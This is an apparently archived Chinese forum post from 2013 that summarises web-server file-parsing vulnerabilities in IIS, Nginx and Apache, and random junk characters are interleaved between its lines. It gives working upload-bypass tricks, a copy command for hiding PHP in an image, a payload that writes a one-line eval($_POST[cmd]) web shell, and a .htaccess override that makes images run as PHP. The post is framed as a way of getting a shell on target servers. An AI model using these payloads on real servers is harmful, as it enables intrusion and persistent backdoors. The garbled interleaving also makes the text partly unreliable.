中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
! E! ?1 M. B" s
[+]IIS6.0
3 O! {. i2 z, ^
( c, f8 e R5 v$ F6 @4 e' V
目录解析：/xx.asp/xx.jpg
* W$ B' o: T: h( V
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
6 @6 R' p* |( Y& A
IIS6.0 会将 xx.jpg 解析为 asp 文件。
+ [( E, z6 k" _% N, w
后缀解析：/xx.asp;.jpg
- N9 l1 H( Q, `
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
$ q! k- ~& h' }/ j2 ^
默认解析：/xx.asa
! ~# u6 V" j3 f' i! r! S+ d0 a
/xx.cer
1 k/ \! p. a- V6 k' q! M
/xx.cdx
5 W+ E: {" }8 u) W
IIS6.0 默认的可执行文件除了 asp 还包含这三种
6 M( A& L6 c! b/ f3 Y
此处可联系利用目录解析漏洞
" a2 n9 B1 `5 \; k" C
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
# ] Y- i( A& i* h4 Y9 }1 M
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
( e+ a; E5 k8 h1 D$ i1 I
+ M) i) D: z$ @& M
IIS 7.0/IIS 7.5/Nginx <0.8.03
; _( S. p. \7 c- d
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
& ]8 c$ T3 t) L q: T
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
C7 W" a) u! E( s( J; c; m
常用利用方法：
( u% F% D& |6 p1 \% k& o& L9 E
将一张图和一个写入后门代码的文本文件合并将恶意文本
( x4 ~* A: g4 O( u/ z
写入图片的二进制代码之后，避免破坏图片文件头和尾
7 T |/ F6 H9 }$ V
如：
6 Q9 \- m2 I( d3 j" k, B
copy xx.jpg /b + yy.txt/a xy.jpg
( h4 [( B3 p; p* o4 w. I
#########################################################
$ o( `+ A9 _/ q& ]
/b 即二进制[binary]模式
$ u1 p3 @# n% B r
/a 即ascii模式
9 J1 S& Q+ c$ l+ I; u0 ]
xx.jpg 正常图片文件
- _( g+ {$ k* ^% V
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
- U e% i: B2 v. y
'<?php eval($_POST[cmd])?>');?>
7 ^& Z' |, p7 c+ r8 j" L
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
s, N; S& x$ E, f* P
为shell.php的文件
; ^) t4 T) V& A' A4 k3 B: [
###########################################################
$ [ ~8 D+ Z1 B
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
+ s9 p* I* \ L2 n) |: e. B4 q# b
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
4 y0 {% I1 ]* l
密码 cmd
* p0 w& r( v+ T8 C# @6 g; ~4 [
[+]Nginx <0.8.03
% y2 J" D- U, B
) Q7 K- o$ G: I2 y/ ?8 k l7 e0 ^
在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
! B: H9 y0 w" q4 o( l6 E, x i
在一个文件路径(/xx.jpg)后面加上%00.php
3 {% h8 m1 K! ?" ^( P* G' W
会将 /xx.jpg%00.php 解析为 php 文件。
( g- W5 ^. R: G; R' U# R
[+]Apache<0.8.03
; i, E' [ G5 @! _ {
5 G% k; `" t, S& h$ ^ r% Z0 ^
后缀解析：test.php.x1.x2.x3
& B8 L9 y( O5 T( }, q
Apache将从右至左开始判断后缀，若x3非可识别后缀，
) l! ]: _3 }# R7 x7 N
再判断x2，直到找到可识别后缀为止，然后将该可识别
! }5 E* q3 i3 t
后缀进解析test.php.x1.x2.x3 则会被解析为php
6 T% Z* r8 A$ M& g5 Y, I
经验之谈：php|php3|phtml 多可被Apache解析。
# A) A. X, V, T/ H
[+]其他一些可利用的
: `8 M2 S$ ? @4 h
' D$ w9 k+ V' J6 N' p
在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
# J) `: }7 F! _, {/ r: C
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
/ c: S3 n& v. S- Y
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
& I# y/ @0 O7 h2 V" z
或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
n8 P: T0 [# |0 y2 Q2 X' m
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
2 ~! r4 P8 |4 t4 s. i" G- C( o' H
{Linux主机中不行，Linux允许这类文件存在}
2 W* G6 R- j7 Y8 \4 {+ k3 x) B0 J' _
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
8 ~8 Y+ C' I% k% u- ~3 [
的，当初我并不知道），且可以被上传，那可以尝试在
6 `( w. f8 b( B e* K' @
.htaccess中写入:
) o) c9 H2 G* a, j$ y% A
<FilesMatch “shell.jpg”>
3 W) x6 o( J, E0 e# n( F
SetHandler application/x-httpd-php
) `5 T9 a. ]. f- U
</FilesMatch>
' L' D' C. n$ e0 m! C* ?
shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
4 E# ]8 U! q6 Q6 O/ l
[+]错误修改
) U n' J" s% d+ x% J1 a* a$ I
9 a; @, z& Y4 V* k
在 IIS 6.0 下可解析 /xx.asp:.jpg
% D( I5 k0 L7 W$ ]" G
{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
w7 N* G) H9 m( N8 e, h
剩下/xx.asp}修改：
0 F! f' P8 J$ y" m! t$ \
先谢谢核攻击的提醒
" W P; L9 k4 @- Z. E; b
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
. _- Q! h6 k- r7 q: N; q6 G
里是没有任何内容的，因为。。不好解释 大家自己看
1 @ @" f- l8 j8 G( {1 a0 [3 D
http://lcx.cc/?i=2448
$ N4 [# j( k: V6 k# @$ L( ]
http://baike.baidu.com/view/3619593.htm
5 q, a0 ?! T6 D. e8 [
1 r0 Z4 l! ]: E* J
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2